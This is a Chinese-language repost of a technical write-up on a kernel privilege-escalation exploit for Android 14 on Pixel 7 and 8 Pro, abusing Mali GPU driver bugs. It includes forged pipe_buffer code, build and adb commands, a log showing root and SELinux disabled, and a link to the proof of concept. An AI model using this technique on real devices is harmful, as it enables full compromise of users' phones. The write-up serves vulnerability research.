Pixel
8
Pro:google/husky/
husky:
14
/UD1A.
231105.004
/
11010374
:user/release-keys
Pixel
7
Pro:google/cheetah/
cheetah:
14
/UP1A.
231105.003
/
11010452
:user/release-keys
Pixel
7
Pro:google/cheetah/
cheetah:
14
/UP1A.
231005.007
/
10754064
:user/release-keys
Pixel
7
:(google/panther/
panther:
14
/UP1A.
231105.003
/
11010452
:user/release-keys
作者:m4b4 (Marcel))
漏洞
此漏洞利用了两个漏洞:ioctl 命令中的补丁不完整导致的整数溢出gpu_pixel_handle_buffer_liveness_update_ioctl,以及时间线流消息缓冲区内的信息泄漏。
由于不正确的整数溢出修复导致 gpu_pixel_handle_buffer_liveness_update_ioctl() 中的缓冲区下溢
-
缓冲区 info.live_ranges
完全由用户控制。 -
溢出的值是用户控制的输入,因此,我们可以溢出计算,因此 info.live_ranges
指针可以位于内核地址开始之前的任意偏移处buff
。 -
分配大小也是用户控制的输入,这使得能够从任何通用的slab分配器请求内存分配。
时间线流消息缓冲区中内核指针的泄漏
GPU Mali 实现了一种定制timeline stream设计,用于收集信息、对其进行序列化,然后按照特定格式将其写入环形缓冲区。用户可以调用 ioctl 命令kbase_api_tlstream_acquire来获取文件描述符,从而能够从此环形缓冲区中读取数据。消息的格式如下:
-
数据包标头 -
消息ID -
序列化消息缓冲区,其中特定内容取决于消息 ID。例如,该 __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait
函数将kbase_kcpu_command_queue
和dma_fence
内核指针序列化到消息缓冲区中,导致内核指针泄漏到用户空间进程。
void
__kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait(
struct kbase_tlstream *stream,
const
void
*kcpu_queue,
const
void
*fence
)
{
const
u32 msg_id = KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT;
const
size_t
msg_size =
sizeof
(msg_id) +
sizeof
(u64)
+
sizeof
(kcpu_queue)
+
sizeof
(fence)
;
char
*buffer;
unsigned
long
acq_flags;
size_t
pos =
0
;
buffer = kbase_tlstream_msgbuf_acquire(stream, msg_size, &acq_flags);
pos = kbasep_serialize_bytes(buffer, pos, &msg_id,
sizeof
(msg_id));
pos = kbasep_serialize_timestamp(buffer, pos);
pos = kbasep_serialize_bytes(buffer,
pos, &kcpu_queue,
sizeof
(kcpu_queue));
pos = kbasep_serialize_bytes(buffer,
pos, &fence,
sizeof
(fence));
kbase_tlstream_msgbuf_release(stream, acq_flags);
}
kbase_kcpu_command_queue
通过监视消息 ID 来泄漏对象地址,每当分配新的 kcpu 队列对象时KBASE_TL_KBASE_NEW_KCPUQUEUE
,该函数就会调度该消息kbasep_kcpu_queue_new
ID。-
两个值都是相关的,只有绕过所有新引入的检查才会发生溢出。 -
负偏移量必须 16 字节对齐的要求限制了写入任何选定位置的能力。然而,这通常不是一个重大障碍。 -
选择较大的偏移量会导致大量数据被写入可能不是预期目标的内存区域。例如,如果分配大小溢出到0x3004,则live_ranges指针将被设置-0x4000为对象分配空间中的字节buff。copy_from_user然后,该函数将0x7004根据update->live_ranges_count乘以 4 的计算来写入字节。因此,此操作将导致用户控制的数据覆盖live_ranges指针和buff分配之间的内存区域。因此,必须仔细确保该范围内的关键系统对象不会被意外覆盖。鉴于该操作涉及copy_from_user调用,人们可能会考虑EFAULT通过故意取消映射用户源缓冲区后面的不需要的内存区域来触发 ,以防止数据写入敏感位置。然而,这种方法是无效的,因为如果函数raw_copy_from_user失败,它会将目标内核缓冲区中的剩余字节清零。实现此行为是为了确保在由于错误而进行部分复制的情况下,内核缓冲区的其余部分不包含未初始化的数据。
static
inline
__must_check
unsigned
long
_copy_from_user(
void
*to,
const
void
__user *from,
unsigned
long
n)
{
unsigned
long
res = n;
might_fault();
if
(!should_fail_usercopy() && likely(access_ok(from, n))) {
instrument_copy_from_user(to, from, n);
res = raw_copy_from_user(to, from, n);
}
if
(unlikely(res))
memset
(to + (n - res),
0
, res);
return
res;
}
copy_from_user
又!这是由于CONFIG_HARDENED_USERCOPY缓解措施所致。它禁止指定不符合相应的slab缓存大小的大小,其中内核目标缓冲区对应于堆对象(在本例中)。它确定缓冲区的页面是否是平板页面,如果是,则检索匹配kmem_cache->size
并确定用户提供的大小是否不会超过它;否则,内核会因大小不匹配而崩溃。因此,换句话说,我无法定位属于通用分配器的对象,但我仍然可以定位大尺寸的对象(即那些直接由页面分配器提供服务的对象)。pipe_buffer
技术,这是一种非常优雅的技术来获取任意读/写原语。我不会详细介绍该技术,但鼓励读者阅读中断实验室这篇精彩的博客。当构造一个管道对象时,该pipe_buffer
对象最初是在一个包含 16 个元素的数组中创建的;但是,可以使用 调整数组大小fcntl(F_SETPIPE_SZ)
。因此,pipe_buffer
可以调整数组分配,使其可以由页面分配器提供服务,使其成为完美的攻击目标对象。选择 pipeline_buffer 对象作为目标候选者后,实现内核读写的下一步是使用下溢漏洞覆盖其内容,这将允许我从页面覆盖该字段的任何内存位置读取/写入pipe_buffer->page
。因为该漏洞允许我写入任意数据,所以我可以控制“ pipe_buffer
,”的全部内容,包括其页面字段,为此,我需要pipe_buffer
在易受攻击的kbuff
对象之前分配数组,并且它们必须彼此相邻。kbase_kcpu_command_queue
对象,然后是一堆pipe_buffer
数组。由于.pipe_buffer
pipe_max_size
因此,我决定开始用kbase_kcpu_command_queue
物体喷涂。选择该kbase_kcpu_command_queue
对象有两个原因:它的分配大小0x38C8
因此由页面分配器处理,并且我可以使用信息内核泄漏错误确定性地获取其内核地址,使其成为一个很好的喷射对象以及一个很好的目标对象(我们将在下一节中看到)。fcntl(F_SETPIPE_SZ)
增加数组分配的大小pipe_buffer
,以便它可以由页面分配器提供服务。更具体地说,我选择分配大小为 ==0x4000 字节 (4 * PAGE_SIZE)== 以便与分配保持一致kbase_kcpu_command_queue
。pipe_buffer
,需要一个页面地址。能够识别kbase_kcpu_command_queue
我可以故意创建和销毁的对象的内核地址,使其成为使用的良好候选者,并且struct page
可以通过使用virt_to_page
.struct
pipe_buffer
{
struct
page
*
page
;
unsigned
int
offset, len;
const
struct
pipe_buf_operations
*
ops
;
unsigned
int
flags;
unsigned
long
private
;
};
page
字段必须包含有效的页面地址。和字段不得超过,否则管道将增加头/尾计数器,导致使用新对象并失去对假管道缓冲区offset
的控制。另外,以下调用必须如此,而不是盲目地增加头计数器并使用下一个管道缓冲区,它首先检查当前是否有适合写入请求的空间,如果有,它会简单地从字段中存储的值开始将数据附加到同一管道缓冲区。为了避免由and '调用的处的设备崩溃,该指针还必须是有效的内核地址,并且字段设置为NULL。我可以简单地使用泄漏对象中的偏移量,该偏移量为 NULL 并且在任何情况下都不会改变。len
PAGE_SIZE
pipe_buffer
flags
PIPE_BUF_FLAG_CAN_MERGE
pipe_write
pipe_buffer
len
pipe_buf_confirm
pipe_write
pipe_read
ops
ops->confirm
kbase_kcpu_command_queue
选择下溢的最佳偏移值
buff
而、kbase_kcpu_command_queue
和的分配大小pipe_buffer
是0x4000字节,我选择使用0x8000字节使缓冲区下溢。为什么 ?pipe_buffers
读写操作期间是如何更新的。假设我们可以将 塑造pipe_buffer
成这样:struct pipe_buffer {
.page = virt_to_page(addr),
.offset = 0,
.len = 0x40,
.ops = kcpu_addr + 0x50,
.flags = PIPE_BUF_FLAG_CAN_MERGE,
unsigned long private = 0
};
ioctl
调用完成后立即被释放。这实际上带来了一个问题,因为我需要手动更新对象pipe_buffer
以使其在每次管道读/写操作后再次可用:-
该 .page
字段未更新;它保持不变,当缓冲区为空时,它被释放,我不希望发生这种情况,因为该.ops
字段设置不正确。 -
由于读取操作 pipe_buffer
会更新字段.offset
,因此我无法再次读取同一内存区域。 -
写入 的数据 pipe_buffer
将从该值开始附加到缓冲区.len
(假设PIPE_BUF_FLAG_CAN_MERGE
已设置标志),并.len
相应地更新 。也就是说,我们不能将数据两次写入确切的地址。
pipe_buffer
在每次读取或写入操作后正确更新,否则我无法同时从同一管道读取和写入。这就是为什么0x8000
字节下溢更加实用,因为我将覆盖两个不同管道对象的两个不同的 pipeline_buffer 实例pipe_buffer
,而不是覆盖单个:一个 for 将被考虑用于读取操作,另一个用于写入操作。#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
pipe_read = (struct pipe_buffer *)( ptr);
pipe_read->page = virt_to_page(ta->kcpu_kaddr);
pipe_read->offset = 0;
pipe_read->len = 0xfff;
pipe_read->ops = (const void *)(ta->kcpu_kaddr + 0x50);
pipe_read->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe_read->private = 0;
pipe_write = (struct pipe_buffer *)( ptr + 0x4000);
pipe_write->page = virt_to_page(ta->kcpu_kaddr);
pipe_write->offset = 0;
pipe_write->len = 0; /* This is the starting position of the pipe_write */
pipe_write->ops = (const void *)(ta->kcpu_kaddr + 0x50);
pipe_write->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe_write->private = 0;
pipe_read
是一个假管道缓冲区,将用于从目标页读取从.offset = 0
最多0xfff
字节开始的数据,而pipe_write
是一个假管道缓冲区pipe_buffer
,将用于从.len = 0
最多0xfff
字节开始写入数据。再次提及也非常重要,写入超过PAGE_SIZE
字节将推动管道增加头计数器,因此使用新分配的新分配pipe_buffer
并失去对 fake 的控制pipe_write
。另一方面,清空(从中读取 0xfff 数据)fake_read
缓冲区告诉内核通过调用释放实际页面,ops→release
导致内核崩溃,因为我仍然没有内核文本地址。虽然我设法隔离管道读取和写入操作,以便在一个管道端执行写入不会干扰另一管道缓冲区,反之亦然,但我仍然没有解决核心问题:如何可靠地更新管道缓冲区?我想到的明显答案是在每次管道读取或写入调用后一次又一次地重复喷射过程。这是没有意义的,因为它会对利用可靠性产生重大影响。在下面的部分中,我将把目标分为两个子目标:首先,我将.page
只关注领域,然后是.len/.offset
领域。修改pipe_buffer→page字段
.page
令我惊讶的是,我根本没有或不需要更新,这是因为我可以覆盖pipe_buffer→page
指向泄漏的页面地址kbase_kcpu_command_queue
。因此,**我需要做的就是释放该kbase_kcpu_command_queue
对象并将其与新pipe_buffer
对象重叠。是的!现在我有一个pipe_buffer→page
指向合法pipe_buffer
对象的了!替换kbase_kcpu_command_queue
为pipe_buffer
使我们能够操作合法的管道缓冲区,而无需定期更新该.page
字段。但是,我仍然需要处理 和.len
字段.offset
。
修改pipe_buffer→len/offset字段
.len
和.offset
字段,从而导致同一页面上的后续读/写操作不可用,即使在两个不同的管道上执行也是如此。这是另一个技巧:有一种技术可以读取/写入数据,甚至无需触摸.len/.offset
字段!。并且可以通过故障copy_page_from_iter
和copy_page_to_iter
调用来实现这一点pipe_read/write
!是的,就像 一样copy_to/from_user
,copy_page_to/from_iter
将通过结构传递的数据从用户空间复制到用户空间iov_iter
,并且可能会出错。9
给系统write
调用,指示我们要写入的数据量。此操作将写入 8 个字节,并在第九个字节失败,因为它遇到未映射/未读取的内存位置。结果,数据已有效写入目标内核缓冲区,并且该.len
字段尚未修改。内核pipe_write
函数将仅返回而不更新该buf->len
字段。if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
init_taskkthreadd_taskkthreadd_tasktask->taskscurrentcred
-
kthreadd_task距内核基地址的偏移量。 -
selinux_state距内核基地址的偏移量。 -
task_struct->cred和task_struct->pid结构task_struct->tasks偏移。 -
anon_pipe_buf_ops距内核基地址的偏移量。
aarch64-linux-androidXX-clang++ -static-libstdc++ -w -Wno-c++11-narrowing -DUSE_STANDALONE -o poc poc.cpp -llog
adb push poc /data/
local
/tmp/
adb shell /data/
local
/tmp/poc
$ adb logcat |grep -i EXPLOIT
11-28 16:04:12.500 7989 7989 E EXPLOIT : [+] Target device: 'google/husky/husky:14/UD1A.231105.004/11010374:user/release-keys' 0xa9027bfdd10203ff 0xa90467faa9036ffc
11-28 16:04:15.563 7989 7989 E EXPLOIT : [+] Got the kcpu_id (0) kernel address = 0xffffff8901390000 from context (0x0)
11-28 16:04:18.441 7989 7989 E EXPLOIT : [+] Got the kcpu_id (255) kernel address = 0xffffff89b0bf8000 from context (0xff)
11-28 16:04:18.442 7989 7989 E EXPLOIT : [+] Found corrupted pipe with size 0xfff
11-28 16:04:18.442 7989 7989 E EXPLOIT : [+] SUCCESS! we have a fake pipe_buffer (0)!
11-28 16:04:18.444 7989 7989 E EXPLOIT : 10 00 39 01 89 FF FF FF 10 00 39 01 89 FF FF FF | ..9.......9.....
11-28 16:04:18.444 7989 7989 E EXPLOIT : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
11-28 16:04:18.444 7989 7989 E EXPLOIT : 00 B0 CD 12 C0 FF FF FF 00 00 00 00 00 00 00 00 | ................
11-28 16:04:18.444 7989 7989 E EXPLOIT : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
11-28 16:04:18.445 7989 7989 E EXPLOIT : [+] Freeing kcpu_id = 0 (0xffffff8901390000)
11-28 16:04:18.446 7989 7989 E EXPLOIT : [+] Allocating 61 pipes with 256 slots
11-28 16:04:18.462 7989 7989 E EXPLOIT : [+] Successfully overlapped the kcpuqueue object with a pipe buffer
11-28 16:04:18.463 7989 7989 E EXPLOIT : 40 AB BA 26 FE FF FF FF 00 00 00 00 30 00 00 00 | @..&........0...
11-28 16:04:18.463 7989 7989 E EXPLOIT : 70 37 8D F1 DA FF FF FF 10 00 00 00 00 00 00 00 | p7..............
11-28 16:04:18.463 7989 7989 E EXPLOIT : 00 00 00 00 00 00 00 00 | ........
11-28 16:04:18.463 7989 7989 E EXPLOIT : [+] pipe_buffer {.page = 0xfffffffe26baab40, .offset = 0x0, .len = 0x30, ops = 0xffffffdaf18d3770}
11-28 16:04:18.463 7989 7989 E EXPLOIT : [+] kernel base = 0xffffffdaf0010000, kthreadd_task = 0xffffff8002da3780 selinux_state = 0xffffffdaf28a3168
11-28 16:04:20.097 7989 7989 E EXPLOIT : [+] Found our own task struct 0xffffff88416c5c80
11-28 16:04:20.097 7989 7989 E EXPLOIT : [+] Successfully got root: getuid() = 0 getgid() = 0
11-28 16:04:20.097 7989 7989 E EXPLOIT : [+] Successfully disabled SELinux
11-28 16:04:20.102 7989
7989
E EXPLOIT : [+] Cleanup ... OK
项目地址:
https://github.com/0x36/Pixel_GPU_Exploit
原文始发于微信公众号(Ots安全):Pixel7/8 Pro 的 Android 14 内核漏洞利用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论